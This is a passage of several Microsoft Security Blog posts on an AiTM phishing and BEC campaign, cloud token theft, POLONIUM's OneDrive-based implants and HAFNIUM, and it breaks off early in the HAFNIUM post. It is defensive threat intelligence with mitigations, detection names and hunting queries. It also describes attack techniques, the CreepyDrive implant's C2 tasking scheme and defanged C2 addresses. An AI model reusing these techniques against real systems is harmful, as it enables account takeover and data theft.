Followed by Inbox rule creation, the attacker initiated a large-scale phishing campaign involving more than 16,000 emails with a slightly modified Canva URL. The emails were sent to the compromised user’s contacts, both within and outside of the organization, as well as distribution lists. The recipients were identified based on the recent email threads in the compromised user’s inbox. The subject of the emails contained a unique seven-digit code, possibly a tactic by the attacker to keep track of the organizations and email chains.

Stage 8: BEC tactics

The attacker then monitored the victim user’s mailbox for undelivered and out of office emails and deleted them from the Archive folder. The attacker read the emails from the recipients who raised questions regarding the authenticity of the phishing email and responded, possibly to falsely confirm that the email is legitimate. The emails and responses were then deleted from the mailbox. These techniques are common in any BEC attacks and are intended to keep the victim unaware of the attacker’s operations, thus helping in persistence.

Stage 9: Accounts compromise

The recipients of the phishing emails from within the organization who clicked on the malicious URL were also targeted by another AiTM attack. Microsoft Defender Experts identified all compromised users based on the landing IP and the sign-in IP patterns. 

Stage 10: Second-stage BEC

The attacker was observed initiating another phishing campaign from the mailbox of one of the users who was compromised by the second AiTM attack. Microsoft revoked the compromised user’s session cookie, intervening with the second-stage attack.  

Microsoft Defender Experts: Extending security and threat defense

This AiTM attack’s use of indirect proxy is an example of the threat’s increasingly complex and evolving TTPs to evade and even challenge conventional solutions and best practices. Proactively hunting for and quickly responding to threats thus becomes an even more important aspect in securing organization networks because it provides an added layer to other security remediations and can help address areas of defense evasion.

Microsoft Defender Experts is part of Microsoft’s global network of more than 8,000 security analysts and researchers who, through our managed services like Microsoft Defender Experts for Hunting, help extend organizations’ ability to defend their environment, manage security, and even augment SOC teams. Our experts also enrich our vast cross-domain signals and let us deliver coordinated threat defense in our security products and solutions.

In this incident, because our experts actively research for new AiTM and BEC techniques, they were able to create advanced hunting detections for the Defender Experts service. These detections, combined with our experts’ own analyses of the anomalous emails and user behavior, enabled them to uncover the attack at its early stages, analyze the entire attack chain, and identify and promptly reach out to affected and targeted customers through Defender Experts Notifications. They then continuously monitored the attack for any additional compromised users or changes in the phishing patterns as it rapidly unfolded into a large-scale campaign.

Defender Experts also initiated rapid response with Microsoft 365 Defender to contain the attack including:

• Automatically disrupting the AiTM attack on behalf of the impacted users based on the signals observed in the campaign
• Initiating zero-hour auto purge (ZAP) in Microsoft Defender for Office 365 to find and take automated actions on the emails that are a part of the phishing campaign

Defender Experts further worked with customers to remediate compromised identities through the following recommendations:

• Revoking session cookies in addition to resetting passwords
• Revoking the MFA setting changes made by the attacker on the compromised user’s accounts
• Require re-challenging MFA for MFA updates as the default

Mitigation and protection guidance

Microsoft 365 Defender detects suspicious activities related to AiTM phishing attacks and their follow-on activities, such as session cookie theft and attempts to use the stolen cookie to sign into Exchange Online. To further protect themselves from similar attacks, organizations should also consider complementing MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals like user or group membership, IP location information, and device status, among others.

Mitigating AiTM phishing attacks

The general remediation measure for any identity compromise is to reset the password for the compromised user. However, in AiTM attacks, since the sign-in session is compromised, password reset is not an effective solution. Additionally, even if the compromised user’s password is reset and sessions are revoked, the attacker can set up persistence methods to sign-in in a controlled manner by tampering with MFA. For instance, the attacker can add a new MFA policy to sign in with a one-time password (OTP) sent to attacker registered mobile number. With this persistence mechanisms in place, the attacker can have control over the victim’s account despite conventional remediation measures.

While AiTM phishing attempts to circumvent MFA, implementation of MFA still remains an essential pillar in identity security and highly effective at stopping a wide variety of threats. MFA is the reason that threat actors developed the AiTM session cookie theft technique in the first place. Organizations are advised to work with their identity provider to ensure security controls like MFA are in place. Microsoft customers can implement through various methods, such as using the Microsoft Authenticator, FIDO2 security keys, and certificate-based authentication. 

Defenders can also complement MFA with the following solutions and best practices to further protect their organizations from such attacks: 

• Use security defaults as a baseline set of policies to improve identity security posture. For more granular control, enable conditional access policies, especially risk-based access policies. Conditional access policies evaluate sign-in requests using additional identity-driven signals like user or group membership, IP location information, and device status, among others, and are enforced for suspicious sign-ins. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as compliant devices, trusted IP address requirements, or risk-based policies with proper access control.
• Implement continuous access evaluation.
• Invest in advanced anti-phishing solutions that monitor and scan incoming emails and visited websites. For example, organizations can leverage web browsers that automatically identify and block malicious websites, including those used in this phishing campaign, and solutions that detect and block malicious emails, links, and files.
• Continuously monitor suspicious or anomalous activities. Hunt for sign-in attempts with suspicious characteristics (for example, location, ISP, user agent, and use of anonymizer services). 

Detections

Because AiTM phishing attacks are complex threats, they require solutions that leverage signals from multiple sources. Microsoft 365 Defender uses its cross-domain visibility to detect malicious activities related to AiTM, such as session cookie theft and attempts to use stolen cookies for signing in.

Using Microsoft Defender for Cloud Apps connectors, Microsoft 365 Defender raises AiTM-related alerts in multiple scenarios. For Azure AD customers using Microsoft Edge, attempts by attackers to replay session cookies to access cloud applications are detected by Defender for Cloud Apps connectors for Office 365 and Azure. In such scenarios, Microsoft 365 Defender raises the following alert:

• Stolen session cookie was used

In addition, signals from these Defender for Cloud Apps connectors, combined with data from the Defender for Endpoint network protection capabilities, also triggers the following Microsoft 365 Defender alert on Azure AD environments:

• Possible AiTM phishing attempt

A specific Defender for Cloud Apps connector for Okta, together with Defender for Endpoint, also helps detect AiTM attacks on Okta accounts using the following alert:

• Possible AiTM phishing attempt in Okta

Other detections that show potentially related activity are the following:

Microsoft Defender for Office 365

• Email messages containing malicious file removed after delivery​
• Email messages from a campaign removed after delivery​
• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL​
• Suspicious email sending patterns detected

Microsoft Defender for Cloud Apps

• Suspicious inbox manipulation rule
• Impossible travel activity
• Activity from infrequent country
• Suspicious email deletion activity

Azure AD Identity Protection

• Anomalous Token
• Unfamiliar sign-in properties
• Unfamiliar sign-in properties for session cookies

Microsoft 365 Defender

• BEC-related credential harvesting attack
• Suspicious phishing emails sent by BEC-related user

Hunting queries

Microsoft Sentinel

Microsoft Sentinel customers can use the following analytic templates to find BEC related activities similar to those described in this post:

• Exchange workflow MailItemsAccessed operation anomaly
• Malicious Inbox Rule
• SharePointFileOperation via previously unseen IPs
• SharePointFileOperation via devices with previously unseen user agents
• User login from different countries within 3 hours
• TI Matching Analytics

In addition to the analytic templates listed above Microsoft Sentinel customers can use the following hunting content to perform Hunts for BEC related activities:

• Possible AiTM phishing attempt against Azure AD
• Unfamiliar Signin Correlation with AzurePortal Signin Attempts and AuditLogs
• Multiple users email forwarded to same destination
• Office Mail Rule Creation with suspicious archive mail move activity
• Sign-ins From VPS providers
• Successful sign-in from non-compliant device
• Risky sign-in with new MFA method

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Detecting and mitigating a multi-stage AiTM phishing and BEC campaign appeared first on Microsoft Security Blog.

Why it matters

In the new world of hybrid work, users may be accessing corporate resources from personally owned or unmanaged devices which increases the risk of token theft occurring. These unmanaged devices likely have weaker security controls than those that are managed by organizations, and most importantly, are not visible to corporate IT. Users on these devices may be signed into both personal websites and corporate applications at the same time, allowing attackers to compromise tokens belonging to both.

As far as mitigations go, publicly available open-source tools for exploiting token theft already exist, and commodity credential theft malware has already been adapted to include this technique in their arsenal. Detecting token theft can be difficult without the proper safeguards and visibility into authentication endpoints. Microsoft DART aims to provide defenders with the knowledge and strategies necessary to mitigate this tactic until permanent solutions become available.

Tokens are at the center of OAuth 2.0 identity platforms, such as Azure Active Directory (Azure AD). To access a resource (for example, a web application protected by Azure AD), a user must present a valid token. To obtain that token, the user must sign into Azure AD using their credentials. At that point, depending on policy, they may be required to complete MFA. The user then presents that token to the web application, which validates the token and allows the user access.

When Azure AD issues a token, it contains information (claims) such as the username, source IP address, MFA, and more. It also includes any privilege a user has in Azure AD. If you sign in as a Global Administrator to your Azure AD tenant, then the token will reflect that. Two of the most common token theft techniques DART has observed have been through adversary-in-the-middle (AitM) frameworks or the utilization of commodity malware (which enables a ‘pass-the-cookie’ scenario).

With traditional credential phishing, the attacker may use the credentials they have compromised to try and sign in to Azure AD. If the security policy requires MFA, the attacker is halted from being able to successfully sign in. Though the users’ credentials were compromised in this attack, the threat actor is prevented from accessing organizational resources.

Adversary-in-the-middle (AitM) phishing attack

Attacker methodologies are always evolving, and to that end DART has seen an increase in attackers using AitM techniques to steal tokens instead of passwords. Frameworks like Evilginx2 go far beyond credential phishing, by inserting malicious infrastructure between the user and the legitimate application the user is trying to access. When the user is phished, the malicious infrastructure captures both the credentials of the user, and the token.

If a regular user is phished and their token stolen, the attacker may attempt business email compromise (BEC) for financial gain. If a token with Global Administrator privilege is stolen, then they may attempt to take over the Azure AD tenant entirely, resulting in loss of administrative control and total tenant compromise.

Pass-the-cookie attack

A “pass-the-cookie” attack is a type of attack where an attacker can bypass authentication controls by compromising browser cookies. At a high level, browser cookies allow web applications to store user authentication information. This allows a website to keep you signed in and not constantly prompt for credentials every time you click a new page.

“Pass-the-cookie” is like pass-the-hash or pass-the-ticket attacks in Active Directory. After authentication to Azure AD via a browser, a cookie is created and stored for that session. If an attacker can compromise a device and extract the browser cookies, they could pass that cookie into a separate web browser on another system, bypassing security checkpoints along the way. Users who are accessing corporate resources on personal devices are especially at risk. Personal devices often have weaker security controls than corporate-managed devices and IT staff lack visibility to those devices to determine compromise. They also have additional attack vectors, such as personal email addresses or social media accounts users may access on the same device. Attackers can compromise these systems and steal the authentication cookies associated with both personal accounts and the users’ corporate credentials.

Commodity credential theft malware like Emotet, Redline, IcedID, and more all have built-in functionality to extract and exfiltrate browser cookies. Additionally, the attacker does not have to know the compromised account password or even the email address for this to work— those details are held within the cookie.

Recommendations

Protect

Organizations can take a significant step toward reducing the risk of token theft by ensuring that they have full visibility of where and how their users are authenticating. To access critical applications like Exchange Online or SharePoint, the device used should be known by the organization. Utilizing compliance tools like Intune in combination with device based conditional access policies can help to keep devices up to date with patches, antivirus definitions, and EDR solutions. Allowing only known devices that adhere to Microsoft’s recommended security baselines helps mitigate the risk of commodity credential theft malware being able to compromise end user devices.

For those devices that remain unmanaged, consider utilizing session conditional access policies and other compensating controls to reduce the impact of token theft:

• Reducing the lifetime of the session increases the number of times a user is forced to re-authenticate but minimizes the length of time session token is viable.
• Reducing the viable time of a token forces threat actors to increase the frequency of token theft attempts which in turn provides defenders with additional chances at detection.
• Implement Conditional Access App Control in Microsoft Defender for Cloud Apps for users connecting from unmanaged devices.

Protect your users by blocking initial access:

• Plan and implement phishing resistant MFA solutions such as FIDO2 security keys, Windows Hello for Business, or certificate-based authentication for users.
  • While this may not be practical for all users, it should be considered for users of significant privilege like Global Admins or users of high-risk applications.
• Users that hold a high level of privilege in the tenant should have a segregated cloud-only identity for all administrative activities, to reduce the attack surface from on-premises to cloud in the event of on-premises domain compromise and abuse of privilege. These identities should also not have a mailbox attached to them to prevent the likelihood of privileged account compromise via phishing techniques.

We recognize that while it may be recommended for organizations to enforce location, device compliance, and session lifetime controls to all applications it may not always be practical. Decisionmakers should instead focus on deploying these controls to applications and users that have the greatest risk to the organization which may include:

• Highly privileged users like Global Administrators, Service Administrators, Authentication Administrators, and Billing Administrators among others.
• Finance and treasury type applications that are attractive targets for attackers seeking financial gain.
• Human capital management (HCM) applications containing personally identifiable information that may be targeted for exfiltration.
• Control and management plane access to Microsoft 365 Defender, Azure, Office 365 and other cloud app administrative portals.
• Access to Office 365 services (Exchange, SharePoint, and Teams) and productivity-based cloud apps.
• VPN or remote access portals that provide external access to organizational resources.

Detect

When a token is replayed, the sign-in from the threat actor can flag anomalous features and impossible travel alerts. Azure Active Directory Identity Protection and Microsoft Defender for Cloud Apps both alert on these events. Azure AD Identity Protection has a specific detection for anomalous token events. The token anomaly detection in Azure AD Identity Protection is tuned to incur more noise than other alerts. This helps ensure that genuine token theft events aren’t missed.

DART recommends focusing on high severity alerts and focusing on those users who trigger multiple alerts rapidly. Detection rules that map to the MITRE ATT&CK framework can help detect genuine compromise. For example, a risky sign-in followed closely by indicators of persistence techniques, such as mailbox rule creation.

Response and investigation

If a user is confirmed compromised and their token stolen, there are several steps DART recommends evicting the threat actor. Azure AD provides the capability to revoke a refresh token. Once a refresh token is revoked, it’s no longer valid. When the associated access token expires, the user will be prompted to re-authenticate. The following graphic outlines the methods by which access is terminated entirely:

It’s crucial to use both the Azure AD portal, Microsoft Graph, or Azure AD PowerShell in addition to resetting the users’ passwords to complete the revocation process.

Importantly, revoking refresh tokens via the above methods doesn’t invalidate the access token immediately, which can still be valid for up to an hour. This means the threat actor may still have access to a compromised user’s account until the access token expires. Azure AD now supports continuous access evaluation for Exchange, SharePoint and Teams, allowing access tokens to be revoked in near real time following a ‘critical event’. This helps to significantly reduce the up to one hour delay between refresh token revocation and access token expiry.

Microsoft DART also recommends checking the compromised user’s account for other signs of persistence. These can include:

• Mailbox rules – threat actors often create specific mailbox rules to forward or hide email. These can include rules to hide emails in folders that are not often used. For example, a threat actor may forward all emails containing the keyword ‘invoice’ to the Archive folder to hide them from the user or forward them to an external email address.
• Mailbox forwarding – email forwarding may be configured to send a copy of all email to an external email address. This allows the threat actor to silently retrieve a copy of every email the user receives.
• Multifactor authentication modification – DART has detected instances of threat actors registering additional authentication methods against compromised accounts for use with MFA, such as phone numbers or authenticator apps.
• Device enrollment – in some cases, DART has seen threat actors add a device to an Azure AD tenant they control. This is an attempt to bypass conditional access rules with exclusions such as known devices.
• Data exfiltration – threat actors may use the inbuilt sharing functionality in SharePoint and OneDrive to share important or sensitive documents and organizational resources externally.

To strengthen your security posture, you should configure alerts to review high-risk modifications to a tenant. Some examples of this are:

• Modification or creation of security configurations
• Modification or creation of Exchange transport rules
• Modification or creation of privileged users or roles

Incident responders should review any audit logs related to user activity to look for signs of persistence. Logs available in the Unified Audit Log, Microsoft Defender for Cloud Apps, or SIEM solutions like Microsoft Sentinel can aid with investigations.

Conclusion

Although tactics from threat actors are constantly evolving, it is important to note that multifactor authentication, when combined with other basic security hygiene—utilizing antimalware, applying least privilege principals, keeping software up to date and protecting data—still protects against 98% of all attacks.

Fundamentally, it is important to consider the identity trust chain for the organization, spanning both internally and externally. The trust chain includes all systems (such as identity providers, federated identity providers, MFA services, VPN solutions, cloud-service providers, and enterprise applications) that issue access tokens and grant privilege for identities both cloud and on-premises, resulting in implicit trust between them.

In instances of token theft, adversaries insert themselves in the middle of the trust chain and often subsequently circumvent security controls. Having visibility, alerting, insights, and a full understanding of where security controls are enforced is key. Treating both identity providers that generate access tokens and their associated privileged identities as critical assets is strongly encouraged.

Adversaries have and will continue to find ways to evade security controls. The tactics utilized by threat actors to bypass controls and compromise tokens present additional challenges to defenders. However, by implementing the controls presented in this blog DART believes that organizations will be better prepared to detect, mitigate, and respond to threats of this nature moving forward.

The post Token tactics: How to prevent, detect, and respond to cloud token theft appeared first on Microsoft Security Blog.

April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather. POLONIUM is now tracked as Plaid Rain and MERCURY is now tracked as Mango Sandstorm. The DEV-#### designations are now tracked under the name Storm-#### using the same four-digit identifier. 

To learn about how the new taxonomy represents the origin, unique traits, and impact of threat actors, and to get a complete mapping of threat actor names, read this blog: Microsoft shifts to a new threat actor naming taxonomy.

Microsoft successfully detected and disabled attack activity abusing OneDrive by a previously undocumented Lebanon-based activity group Microsoft Threat Intelligence Center (MSTIC) tracks as POLONIUM.  The associated indicators and tactics were used by the OneDrive team to improve detection of attack activity and disable offending actor accounts. To further address this abuse, Microsoft has suspended more than 20 malicious OneDrive applications created by POLONIUM actors, notified affected organizations, and deployed a series of security intelligence updates that will quarantine tools developed by POLONIUM operators. Our goal with this blog is to help deter future activity by exposing and sharing the POLONIUM tactics with the community at large.

MSTIC assesses with high confidence that POLONIUM represents an operational group based in Lebanon. We also assess with moderate confidence that the observed activity was coordinated with other actors affiliated with Iran’s Ministry of Intelligence and Security (MOIS), based primarily on victim overlap and commonality of tools and techniques. Such collaboration or direction from Tehran would align with a string of revelations since late 2020 that the Government of Iran is using third parties to carry out cyber operations on their behalf, likely to enhance Iran’s plausible deniability.

POLONIUM has targeted or compromised more than 20 organizations based in Israel and one intergovernmental organization with operations in Lebanon over the past three months. This actor has deployed unique tools that abuse legitimate cloud services for command and control (C2) across most of their victims. POLONIUM was observed creating and using legitimate OneDrive accounts, then utilizing those accounts as C2 to execute part of their attack operation. This activity does not represent any security issues or vulnerabilities on the OneDrive platform. In addition, MSTIC does not, at present, see any links between this activity and other publicly documented groups linked to Lebanon like Volatile Cedar. This blog will also expose further details that show Iranian threat actors may be collaborating with proxies to operationalize their attacks. Microsoft continues to work across its platforms to identify abuse, take down malicious activity, and implement new proactive protections to discourage malicious actors from using our services.

As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts.

Observed actor activity

Since February 2022, POLONIUM has been observed primarily targeting organizations in Israel with a focus on critical manufacturing, IT, and Israel’s defense industry. In at least one case, POLONIUM’s compromise of an IT company was used to target a downstream aviation company and law firm in a supply chain attack that relied on service provider credentials to gain access to the targeted networks. Multiple manufacturing companies they targeted also serve Israel’s defense industry, indicating a POLONIUM tactic that follows an increasing trend by many actors, including among several Iranian groups, of targeting service provider access to gain downstream access. Observed victim organizations were in the following sectors: critical manufacturing, information technology, transportation systems, defense industrial base, government agencies and services, food and agriculture, financial services, healthcare and public health, and other business types.

POLONIUM TTPs shared with Iran-based nation-state actors

MSTIC assesses with moderate confidence that POLONIUM is coordinating its operations with multiple tracked actor groups affiliated with Iran’s Ministry of Intelligence and Security (MOIS), based on victim overlap and the following common techniques and tooling:

• Common unique victim targeting: MSTIC has observed POLONIUM active on or targeting multiple victims that MERCURY previously compromised. According to the US Cyber Command, MuddyWater, a group we track as MERCURY, “is a subordinate element within the Iranian Ministry of Intelligence and Security.”
• Evidence of possible “hand-off” operations: The uniqueness of the victim organizations suggests a convergence of mission requirements with MOIS. It may also be evidence of a ‘hand-off’ operational model where MOIS provides POLONIUM with access to previously compromised victim environments to execute new activity. MSTIC continues to monitor both actors to further verify this ‘hand-off’ hypothesis.
• Use of OneDrive for C2:  MSTIC has observed both POLONIUM and DEV-0133 (aka Lyceum) using cloud services, including OneDrive, for data exfiltration and command and control.
• Use of AirVPN: Both POLONIUM and DEV-0588 (aka CopyKittens) commonly use AirVPN for operational activity. While use of public VPN services is common across many actor sets, these actors’ specific choice to use AirVPN, combined with the additional overlaps documented above, further supports the moderate confidence assessment that POLONIUM collaborates with MOIS.

Abuse of cloud services

POLONIUM has been observed deploying a series of custom implants that utilize cloud services for command and control as well as data exfiltration. MSTIC has observed implants connecting to POLONIUM-owned accounts in OneDrive and Dropbox. These tools are detected as the following malware:

• Trojan:PowerShell/CreepyDrive.A!dha
• Trojan:PowerShell/CreepyDrive.B!dha
• Trojan:PowerShell/CreepyDrive.C!dha
• Trojan:PowerShell/CreepyDrive.D!dha
• Trojan:PowerShell/CreepyDrive.E!dha
• Trojan:MSIL/CreepyBox.A!dha
• Trojan:MSIL/CreepyBox.B!dha
• Trojan:MSIL/CreepyBox.C!dha

While OneDrive performs antivirus scanning on all uploaded content, POLONIUM is not using the cloud service to host their malware. If malware was hosted in the OneDrive account, Microsoft Defender Antivirus detections would block it. Instead, they are interacting with the cloud service in the same way that a legitimate customer would. OneDrive is partnering with MSTIC to identify and disable accounts that are linked to known adversary behavior.

CreepyDrive analysis

The CreepyDrive implant utilizes a POLONIUM-owned OneDrive storage account for command and control. The implant provides basic functionality of allowing the threat actor to upload stolen files and download files to run.

All web requests by the CreepyDrive implant use the Invoke-WebRequest cmdlet. The implant’s logic is wrapped in a while true loop, ensuring continuous execution of the implant once running. The implant contains no native persistence mechanism; if terminated it would need to be re-executed by the threat actor.

Due to the lack of victim identifiers in the CreepyDrive implant, using the same OneDrive account for multiple victims, while possible, may be challenging. It’s likely that a different threat actor-controlled OneDrive account is used per implant.

Getting an OAuth token

When run, the implant first needs to authenticate with OneDrive. The threat actor incorporated a refresh token within the implant. Refresh tokens are part of the Open Authorization 2 (OAuth) specification, allowing a new OAuth token to be issued when it expires. There are several mechanisms that make token theft difficult, including the use of the trusted platform module (TPM) to protect secrets. More information on these mechanisms can be found here.

In this instance, the protection settings tied to the OneDrive account are fully controlled by the threat actor, allowing them to disable protections that prevent the theft of the token and client secrets. As the threat actor is in full control of all secrets and key material associated with the account, their sign-in activity looks like legitimate customer behavior and is thus challenging to detect.

This token and client secret are transmitted in the body of request to a legitimate Microsoft endpoint to generate an OAuth token:

https[://]login.microsoftonline.com/consumers/oauth2/v2.0/token

This request provides the requisite OAuth token for the implant to interact with the threat actor-owned OneDrive account. Using this OAuth token, the implant makes a request to the following Microsoft Graph API endpoint to access the file data.txt:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Documents/data.txt:/content

The file data.txt acts as the primary tasking mechanism for the implant, providing three branches of execution.

Upload

The first branch is triggered when the word “upload” is provided in the response. This response payload also contains two additional elements: a local file path to upload, and what is likely a threat actor-defined remote file name to upload the local file into. The request is structured as follows:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Uploaded/???:/content

Download

The second branch is triggered when the word “download” is provided in the response. This response payload contains a file name to download from the threat actor-owned OneDrive account. The request is structured as follows:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Downloaded/???:/content

Execute

This branch is triggered when no command is provided in the response. The response payload can contain either an array of commands to execute or file paths to files previously downloaded by the implant. The threat actor can also provide a mixture of individual commands and file paths.

Each value from the array is passed individually into the below custom function, which uses the Invoke-Expression cmdlet to run commands:

The output of each executed command is aggregated and then written back to the following location in the threat actor-owned OneDrive account:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Documents/response.json:/content

During the execution of this mechanism, the threat actor resets the content of the original tasking file data.txt with the following request:

https[://]graph.microsoft.com/v1.0/me/drive/root:/Documents/data.txt:/content

Finally, the CreepyDrive implant sleeps, re-executing in a loop until the process is terminated.

Use of custom implant

POLONIUM has also been observed deploying a custom PowerShell implant detected as Backdoor:PowerShell/CreepySnail.B!dha. The C2s for observed CreepySnail implants include:

• 135[.]125[.]147[.]170:80
• 185[.]244[.]129[.]79:63047
• 185[.]244[.]129[.]79:80
• 45[.]80[.]149[.]108:63047
• 45[.]80[.]149[.]108:80
• 45[.]80[.]149[.]57:63047
• 45[.]80[.]149[.]68:63047
• 45[.]80[.]149[.]71:80

The code below demonstrates how the CreepySnail PowerShell implant, once deployed on a target network, attempts to authenticate using stolen credentials and connect to POLONIUM C2 for further actions on objectives, such as data exfiltration or further abuse as C2.

Use of commodity tools

POLONIUM has also been observed dropping a secondary payload via their OneDrive implant. POLONIUM used a common SSH tool for automating interactive sign-ins called plink to set up a redundant tunnel from the victim environment to the attacker-controlled infrastructure.

The observed C2 IP addresses for POLONIUM plink tunnels include:

• 185[.]244[.]129 [.]109
• 172[.]96[.]188[.]51
• 51[.]83 [.]246 [.]73

Exploitation

While we continue to pursue confirmation of how POLONIUM gained initial access to many of their victims, MSTIC notes that approximately 80% of the observed victims beaconing to graph.microsoft.com were running Fortinet appliances. This suggests, but does not definitively prove, that POLONIUM compromised these Fortinet devices by exploiting the CVE-2018-13379 vulnerability to gain access to the compromised organizations.

IT supply chain attacks

In one case, POLONIUM compromised a cloud service provider based in Israel and likely used this access to compromise downstream customers of the service provider. Specifically, MSTIC observed that POLONIUM pivoted through the service provider and gained access to a law firm and an aviation company in Israel. The tactic of leveraging IT products and service providers to gain access to downstream customers remains a favorite of Iranian actors and their proxies.

Microsoft will continue to monitor ongoing activity from POLONIUM and the other Iranian MOIS-affiliated actors discussed in this blog and implement protections for our customers. The current detections, advanced detections, and IOCs in place across our security products are detailed below.

Recommended customer actions

The techniques used by the actor described in the “Observed actor activity” section can be mitigated by adopting the security considerations provided below:

• Use the included indicators of compromise to investigate whether they exist in your environment and assess for potential intrusion. Microsoft Sentinel queries are provided in the advanced hunting section below.
• Confirm that Microsoft Defender Antivirus is updated to security intelligence update 1.365.40.0 or later, or ensure that cloud protection is turned on, to detect the related indicators.
• Block in-bound traffic from IPs specified in the “Indicators of compromise” table.
• Review all authentication activity for remote access infrastructure (VPNs), with a particular focus on accounts configured with single factor authentication, to confirm authenticity and investigate any anomalous activity.
• Enable multifactor authentication (MFA) to mitigate potentially compromised credentials and ensure that MFA is enforced for all remote connectivity.  NOTE: Microsoft strongly encourages all customers download and use passwordless solutions like Microsoft Authenticator to secure your accounts.
• For customers that have relationships with service providers, review and audit partner relationships to minimize any unnecessary permissions between your organization and upstream providers. Microsoft recommends immediately removing access for any partner relationships that look unfamiliar or have not yet been audited.

Indicators of compromise (IOCs)

The below list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

NOTE: These indicators should not be considered exhaustive for this observed activity.

Detections

Microsoft 365 Defender

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects the malware tools and implants used by POLONIUM starting from signature build 1.365.40.0 as the following:

• Trojan:PowerShell/CreepyDrive.A!dha
• Trojan:PowerShell/CreepyDrive.B!dha
• Trojan:PowerShell/CreepyDrive.C!dha
• Trojan:PowerShell/CreepyDrive.D!dha
• Trojan:PowerShell/CreepyDrive.E!dha
• Trojan:MSIL/CreepyBox.A!dha
• Trojan:MSIL/CreepyBox.B!dha
• Trojan:MSIL/CreepyBox.C!dha
• Trojan:MSIL/CreepyRing.A!dha
• Trojan:MSIL/CreepyWink.B!dha
• Backdoor:PowerShell/CreepySnail.B!dha

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint customers may see any or a combination of the following alerts as an indication of possible attack. These alerts are not necessarily an indication of POLONIUM compromise:

• POLONIUM Actor Activity Detected
• PowerShell made a suspicious network connection
• Suspicious behavior by powershell.exe was observed
• Hidden dual-use tool launch attempt
• Outbound connection to non-standard port

Microsoft Defender for Cloud Apps

The OAuth apps that were created in the victim tenants were created with only two specific scope of permissions: offline_access and Files.ReadWrite.All. These applications were set to serve multi-tenant and performed only OneDrive operations. Applications accessed OneDrive workload via the Graph API, where most calls to the API from the application were made as search activities, with a few edit operations also observed.

App made numerous searches and edits in OneDrive

App governance, an add-on to Microsoft Defender for Cloud Apps, detects malicious OAuth applications that make numerous searches and edits in OneDrive. Learn how to investigate anomaly detection alerts in Microsoft Defender for Cloud Apps.

Advanced hunting queries

Microsoft Sentinel

Identify POLONIUM IOCs

This query identifies POLONIUM network IOCs within available Azure Sentinel network logging:

https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/POLONIUMIPIoC.yaml

Detect CreepySnail static URI parameters

The CreepySnail tool utilizes static URI parameters that can be detected using the following query:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/CommonSecurityLog/CreepySnailURLParameters.yaml

Detect Base64-encoded/transmitted machine usernames or IP addresses

CreepySnail also utilizes Base64-encoded parameters to transmit information from the victim to threat actor. The following queries detect machine usernames or IP addresses (based on Microsoft Defender for Endpoint logging) being transmitted under Base64 encoding in a web request:

https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/B64UserInWebURIFromMDE.yaml

https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/B64IPInURLFromMDE.yaml

Detect POLONIUM requests to predictable OneDrive file paths

The OneDrive capability that POLONIUM utilizes makes requests to predictable OneDrive file paths to access various folders and files. The following queries detect these paths in use:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/CommonSecurityLog/CreepyDriveURLs.yaml

Detect sequence of request events related to unique CreepyDrive re-authentication attempts

The CreepyDrive implant makes a predictable sequence of requests to Microsoft authentication servers and OneDrive that can be detected using the following query:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/CommonSecurityLog/CreepyDriveRequestSequence.yaml

Hunt for other suspicious encoded request parameters

The following hunting queries can be used to hunt for further suspicious encoded request parameters:

https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries/CommonSecurityLog/B64IPInURL.yaml

https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries/CommonSecurityLog/RiskyCommandB64EncodedInUrl.yaml

The post Exposing POLONIUM activity and infrastructure targeting Israeli organizations appeared first on Microsoft Security Blog.

April 2023 update – Microsoft Threat Intelligence has shifted to a new threat actor naming taxonomy aligned around the theme of weather. HAFNIUM is now tracked as Silk Typhoon.

To learn about how the new taxonomy represents the origin, unique traits, and impact of threat actors, and to get a complete mapping of threat actor names, read this blog: Microsoft shifts to a new threat actor naming taxonomy.

As Microsoft continues to track the high-priority state-sponsored threat actor HAFNIUM, new activity has been uncovered that leverages unpatched zero-day vulnerabilities as initial vectors. The Microsoft Detection and Response Team (DART) in collaboration with the Microsoft Threat Intelligence Center (MSTIC) identified a multi-stage attack targeting the Zoho Manage Engine Rest API authentication bypass vulnerability to initially implant a Godzilla web shell with similar properties detailed by the Unit42 team in a previous blog.

Microsoft observed HAFNIUM from August 2021 to February 2022, target those in the telecommunication, internet service provider and data services sector, expanding on targeted sectors observed from their earlier operations conducted in Spring 2021.

Further investigation reveals forensic artifacts of the usage of Impacket tooling for lateral movement and execution and the discovery of a defense evasion malware called Tarrask that creates “hidden” scheduled tasks, and subsequent actions to remove the task attributes, to conceal the scheduled tasks from traditional means of identification.

The blog outlines the simplicity of the malware technique Tarrask uses, while highlighting that scheduled task abuse is a very common method of persistence and defense evasion—and an enticing one, at that. In this post, we will demonstrate how threat actors create scheduled tasks, how they cover their tracks, how the malware’s evasion techniques are used to maintain and ensure persistence on systems, and how to protect against this tactic.

Right on schedule: Maintaining persistence via scheduled tasks

Windows Task Scheduler is a service that allows users to perform automated tasks (scheduled tasks) on a chosen computer for legitimate administrative purposes (e.g., scheduled updates for browsers and other applications).

Throughout the course of our research, we’ve found that threat actors commonly make use of this service to maintain persistence within a Windows environment.

